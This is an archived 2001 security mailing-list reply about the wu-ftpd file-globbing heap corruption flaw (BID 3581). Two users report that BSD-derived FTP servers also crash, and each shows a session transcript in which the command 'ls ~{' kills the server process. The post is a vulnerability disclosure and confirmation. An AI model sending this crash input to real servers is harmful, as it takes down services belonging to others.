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Re: *ALERT* BID 3581: Wu-Ftpd File Globbing Heap Corruption Vulnerability


From: GiulioMaria Fontana <fontana () datawell it>
Date: Thu, 29 Nov 2001 11:53:44 +0100

Il 00:36, giovedì 29 novembre 2001, script0r ha scritto:

I am running the a linux port of the bsd ftpd and it might be vulnerable to
a similar attack,

ftp localhost
Connected to localhost.
220 playlandFTP server (Version 6.5/OpenBSD, linux port 0.3.3) ready.
Name (localhost:user): ftp
331 Guest login ok, type your name as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
200 PORT command successful.
421 Service not available, remote server has closed connection

in inetd I find an error stating that the ftpd process has died unexpectedly

Nov 28 14:21:28 playland inetd[82]: pid 16341: exit signal 11

[psycho@psycho 11/29/01/gio psycho]> ftp urano
Connected to urano.xxx.xxx
220 urano.xxx.xxx FTP server (Version 6.5.5 VFTPD, based on Version 
6.5/OpenBSD) ready.
Name (urano:psycho): gmfontana
331 Password required for gmfontana.
Password:
230 User gmfontana logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
200 PORT command successful.
421 Service not available, remote server has closed connection
ftp> 

Giulio


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